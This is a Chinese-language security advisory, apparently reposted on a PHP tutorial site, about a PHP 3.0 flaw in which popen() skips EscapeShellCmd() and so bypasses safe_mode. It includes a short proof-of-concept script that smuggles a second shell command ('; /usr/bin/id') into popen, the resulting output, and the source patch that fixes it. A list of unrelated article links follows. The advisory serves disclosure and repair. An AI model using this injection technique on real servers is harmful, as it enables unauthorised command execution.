PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
生成静态页面的php函数,php爱好者站推荐
Mar 19 PHP
安装PHP可能遇到的问题“无法载入mysql扩展” 的解决方法
Apr 16 PHP
.htaccess文件保护实例讲解
Feb 06 PHP
php setcookie函数的参数说明及其用法
Apr 20 PHP
PHP利用MySQL保存session的实现思路及示例代码
Sep 09 PHP
PHP使用feof()函数读文件的方法
Nov 07 PHP
php计算整个目录大小的方法
Jun 01 PHP
php获取本机真实IP地址实例代码
Mar 31 PHP
教你在header中隐藏php的版本信息
Aug 10 PHP
CI框架中类的自动加载问题分析
Nov 21 PHP
CodeIgniter框架数据库基本操作示例
May 24 PHP
Laravel 框架控制器 Controller原理与用法实例分析
Apr 14 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
PHP注释实例技巧
2008/10/03 PHP
PHP 实现多服务器共享 SESSION 数据
2009/08/15 PHP
解析PHP中的file_get_contents获取远程页面乱码的问题
2013/06/25 PHP
php实现文件编码批量转换
2014/03/10 PHP
PHP代码判断设备是手机还是平板电脑(两种方法)
2015/10/19 PHP
JavaScript实现重置表单(reset)的方法
2015/04/02 Javascript
jQuery左右滚动支持图片放大缩略图图片轮播代码分享
2015/08/26 Javascript
JS for...in 遍历语句用法实例分析
2016/08/24 Javascript
微信小程序  checkbox组件详解及简单实例
2017/01/10 Javascript
PHP实现记录代码运行时间封装类实例教程
2017/05/08 Javascript
jQuery实现下拉菜单的实例代码
2017/06/19 jQuery
微信小程序使用picker实现时间和日期选择框功能【附源码下载】
2017/12/11 Javascript
原生js实现移动端触摸轮播的示例代码
2017/12/22 Javascript
vue实现学生录入系统之添加删除功能
2018/07/11 Javascript
Vue头像处理方案小结
2018/07/26 Javascript
解决vue-cli单页面手机应用input点击手机端虚拟键盘弹出盖住input问题
2018/08/25 Javascript
解决angular2 获取到的数据无法实时更新的问题
2018/08/31 Javascript
vue根据条件不同显示不同按钮的操作
2020/08/04 Javascript
python paramiko实现ssh远程访问的方法
2013/12/03 Python
Python实现抓取页面上链接的简单爬虫分享
2015/01/21 Python
Python 功能和特点(新手必学)
2015/12/30 Python
python3批量删除豆瓣分组下的好友的实现代码
2016/06/07 Python
python实现下载整个ftp目录的方法
2017/01/17 Python
Python基于递归和非递归算法求两个数最大公约数、最小公倍数示例
2018/05/21 Python
Pycharm+Scrapy安装并且初始化项目的方法
2019/01/15 Python
python批量修改ssh密码的实现
2019/08/08 Python
python标准库os库的函数介绍
2020/02/12 Python
python列表切片和嵌套列表取值操作详解
2020/02/27 Python
Python MySQL 日期时间格式化作为参数的操作
2020/03/02 Python
Python作用域与名字空间原理详解
2020/03/21 Python
非洲NO.1网上商店:Jumia肯尼亚
2016/08/18 全球购物
什么是smarty? Smarty的优点是什么?
2013/08/11 面试题
PHP经典面试题
2016/09/03 面试题
观看《永远的雷锋》心得体会
2014/03/12 职场文书
表扬通报怎么写
2015/01/16 职场文书
大学军训通讯稿
2015/07/18 职场文书